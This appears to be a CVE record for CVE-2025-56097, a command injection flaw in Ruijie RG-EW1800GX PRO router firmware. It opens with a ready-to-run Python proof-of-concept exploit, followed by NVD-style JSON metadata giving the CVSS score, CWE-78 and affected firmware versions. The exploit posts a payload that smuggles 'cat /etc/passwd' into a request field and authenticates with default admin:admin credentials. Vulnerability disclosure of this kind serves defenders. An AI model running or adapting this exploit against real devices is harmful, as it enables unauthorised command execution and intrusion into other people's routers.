CVE-2025-56097

import requests import sys # CVE-2025-56097 PoC - Ruijie RG-EW1800GX PRO Command Injection # Target: /usr/local/lua/dev_config/config_retain.lua module_set endpoint target = sys.argv[1] if len(sys.argv) > 1 else 'http://192.168.1.1' # Construct malicious POST request with command injection payload url = f"{target}/cgi-bin/luci/api/module_set" # Command injection via module_set parameter # Inject: cat /etc/passwd to verify command execution payload = { 'module': 'config_retain', 'action': 'set', 'data': 'test;cat /etc/passwd;' # Command injection payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Basic YWRtaW46YWRtaW4=' # Base64 encoded admin:admin } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload: {payload}") response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2025-56097", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:55.627", "lastModified": "2026-01-27T17:26:15.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1800GX PRO B11P226_EW1800GX-PRO_10223117 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1800gx_pro_firmware:3.0\\(1\\)b11p226:*:*:*:*:*:*:*", "matchCriteriaId": "C37C4DB9-5C2F-484B-BC17-93E90B97EFC2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1800gx_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "EF398A3B-F92C-4104-8E8D-423BD387273F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300n_firmware:3.0\\(1\\)b11p300:*:*:*:*:*:*:*", "matchCriteriaId": "C9F98B23-3599-49D9-BE66-EA0F16B5F3D9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300n:-:*:*:*:*:*:*:*", "matchCriteriaId": "A93FA907-462C-488D-93D9-AB74272071F3"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/Eohr-0awt6VAuiLCNhCG0rgBLQip6nJpl-9Hy0OqB4MvFg?e=DIfBxi", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EeVJ2woYmHVHn_C0Sy_iRZsB4yZQFJDXSBOwMSZW0KXJrQ?e=VVGxWb", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56097.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}